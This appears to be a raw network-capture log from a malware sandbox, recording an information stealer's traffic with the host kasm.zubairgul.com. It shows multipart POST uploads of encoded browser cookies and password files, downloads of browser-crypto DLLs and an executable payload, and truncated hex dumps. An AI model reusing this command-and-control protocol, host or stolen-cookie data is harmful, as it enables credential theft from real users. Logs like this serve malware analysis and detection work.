6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 7, 2024 21:18:36.502016068 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Oct 7, 2024 21:18:36.502027988 CEST	448	IN	Data Raw: e9 de dd 1a 00 e9 38 5b 1e 00 e9 03 3c 1c 00 e9 d8 5a 1b 00 e9 36 f6 1d 00 e9 a1 53 1c 00 e9 fd 8f 1c 00 e9 5c c1 1b 00 e9 7e a0 1a 00 e9 cf ff 1e 00 e9 f6 9f 1a 00 e9 68 00 1e 00 e9 b8 b0 1f 00 e9 32 5a 1d 00 e9 43 81 1e 00 e9 c5 06 1b 00 e9 b0 Data Ascii: 8[<Z6S\~h2ZC;<V.++-9nq(+:FEska9_U`GiY! O<'_zBo0q
Oct 7, 2024 21:18:36.502038956 CEST	1236	IN	Data Raw: 03 00 e9 70 c0 1b 00 e9 04 5d 1e 00 e9 94 23 1f 00 e9 8f a3 17 00 e9 0f 8b 1e 00 e9 22 93 1c 00 e9 23 93 1e 00 e9 4b a4 00 00 e9 f6 4c 1c 00 e9 41 ac 17 00 e9 8c 2b 03 00 e9 d7 4c 1e 00 e9 56 04 1e 00 e9 c8 f9 1c 00 e9 78 60 1b 00 e9 8d 20 20 00 Data Ascii: p]#"#KLA+LVx` `Q#,y.La={dGMDmN yCcZh-VC>0q#W
Oct 7, 2024 21:18:36.503669977 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:36 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 7, 2024 21:18:38.124739885 CEST	1014	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI Host: kasm.zubairgul.com Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------FBKJKEHIJECGCBFIJEGI--
Oct 7, 2024 21:18:38.905720949 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:39.059453011 CEST	622	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: kasm.zubairgul.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 [TRUNCATED] Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_data"------FIDAFIEBFCBKFHIDHIJE--
Oct 7, 2024 21:18:39.820475101 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:40.010143042 CEST	622	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: kasm.zubairgul.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 [TRUNCATED] Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="file_data"------IJEGDBGDBFIJKECBAKFB--
Oct 7, 2024 21:18:40.807753086 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:40.982722044 CEST	104	OUT	GET /freebl3.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:41.182290077 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:41 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 21:18:41.867459059 CEST	104	OUT	GET /mozglue.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:42.059216976 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:41 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 21:18:42.433779001 CEST	105	OUT	GET /msvcp140.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:42.624010086 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:42 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 21:18:42.916142941 CEST	105	OUT	GET /softokn3.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:43.106021881 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:43 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 21:18:43.236443996 CEST	109	OUT	GET /vcruntime140.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:43.428853035 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:43 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 21:18:43.530379057 CEST	101	OUT	GET /nss3.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:43.720599890 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:43 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 21:18:45.453733921 CEST	186	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: kasm.zubairgul.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:46.417248964 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:47.343310118 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJE Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; 